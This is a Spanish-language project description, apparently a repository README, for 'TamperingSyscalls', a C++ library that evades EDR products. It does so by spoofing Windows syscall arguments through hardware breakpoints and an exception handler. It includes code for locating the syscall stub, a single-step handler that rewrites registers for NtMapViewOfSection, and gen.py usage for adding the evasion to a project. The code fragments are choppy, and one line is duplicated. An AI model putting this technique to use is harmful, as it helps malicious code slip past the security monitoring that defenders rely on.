
Librería C++ que recupera y falsifica los argumentos de las syscalls de Windows mediante puntos de interrupción de hardware y controladores de excepciones para subvertir la telemetría de EDR.
TamperingSyscalls es un proyecto novedoso de 2 partes que consiste en el spoofing de argumentos y la obtención de syscalls, los cuales abusan del EH para subvertir los EDR. Este proyecto consta de ambos subproyectos para proporcionar una solución alternativa a las syscalls directas.
Manipulando syscalls.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 en el registro Dr0.
Podemos localizar la dirección del stub de syscall con esta búsqueda rápida de bytes en memoria.BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx se ejecuta porque el registro RCX se destruye en las siguientes instrucciones.case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
Podemos ver en este ejemplo que estamos corrigiendo los argumentos para NtMapViewOfSection.
Si deseas comenzar a falsificar la telemetría del EDR, es posible modificar las definiciones p[FunctionName] donde actualmente están establecidas a NULL.
Para generar las funciones necesarias, usa gen.py. Esto admite:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
Producirá 3 archivos: TamperingSyscalls.cpp, TamperingSyscalls.h, y main.cpp. Puedes añadir #include "TamperingSyscalls.h" a tu proyecto. Podemos llamar a las funciones agregando el nombre de la función a p, por ejemplo pNtOpenSection(...);
No podemos establecer un punto de interrupción en NtSetThreadContext o sus variantes, ya que se utiliza para establecer los registros de depuración. Hay un breve período en el que se establecen los registros de depuración, pero es muy pequeño y no creo que seamos detectados por mantener un Dr0 abierto.
He publicado una pequeña entrada de blog que aborda estas técnicas.